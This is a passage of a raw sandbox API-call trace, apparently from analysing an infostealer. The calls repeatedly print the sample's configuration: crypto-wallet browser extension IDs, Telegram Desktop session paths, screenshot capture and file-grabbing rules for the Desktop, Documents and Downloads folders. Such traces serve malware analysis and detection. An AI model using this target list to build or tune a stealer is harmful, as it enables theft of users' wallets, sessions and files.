Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 1112 [0260.833] LocalAlloc (uFlags=0x40, uBytes=0x8b0) returned 0x6b9720 [0260.833] lstrlenW (lpString="ews_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 1112 [0260.833] LocalAlloc (uFlags=0x40, uBytes=0x8b0) returned 0x6b9fd8 [0260.833] lstrlenW (lpString="ews_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 1112 [0260.833] LocalAlloc (uFlags=0x40, uBytes=0x8b0) returned 0x6ba890 [0260.833] StrStrW (lpFirst="ews_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="_") returned="_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.833] lstrlenW (lpString="ews_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 1112 [0260.833] LocalAlloc (uFlags=0x40, uBytes=0x930) returned 0x6bb148 [0260.833] StrCpyW (in: psz1=0x6b9720, psz2="ews" | out: psz1="ews") returned="ews" [0260.834] LocalFree (hMem=0x6bb148) returned 0x0 [0260.834] StrStrW (lpFirst="ews_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.834] lstrcmpiW (lpString1="ews", lpString2="libs") returned -1 [0260.834] LocalFree (hMem=0x6b9720) returned 0x0 [0260.834] LocalFree (hMem=0x6b9fd8) returned 0x0 [0260.835] LocalFree (hMem=0x6ba890) returned 0x0 [0260.835] StrStrW (lpFirst="ews_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.835] lstrlenW (lpString="ews_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 1042 [0260.835] lstrlenW (lpString="ews_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 1042 [0260.835] LocalAlloc (uFlags=0x40, uBytes=0x824) returned 0x6b9720 [0260.835] lstrlenW (lpString="ews_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 1042 [0260.835] LocalAlloc (uFlags=0x40, uBytes=0x824) returned 0x6b9f50 [0260.835] lstrlenW (lpString="ews_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 1042 [0260.835] LocalAlloc (uFlags=0x40, uBytes=0x824) returned 0x6ba780 [0260.835] StrStrW (lpFirst="ews_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="_") returned="_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.835] lstrlenW (lpString="ews_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 1042 [0260.835] LocalAlloc (uFlags=0x40, uBytes=0x8a4) returned 0x6bafb0 [0260.835] StrCpyW (in: psz1=0x6b9720, psz2="ews" | out: psz1="ews") returned="ews" [0260.836] LocalFree (hMem=0x6bafb0) returned 0x0 [0260.836] StrStrW (lpFirst="ews_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.836] lstrcmpiW (lpString1="ews", lpString2="libs") returned -1 [0260.836] LocalFree (hMem=0x6b9720) returned 0x0 [0260.836] LocalFree (hMem=0x6b9f50) returned 0x0 [0260.837] LocalFree (hMem=0x6ba780) returned 0x0 [0260.837] StrStrW (lpFirst="ews_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.837] lstrlenW (lpString="ews_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension 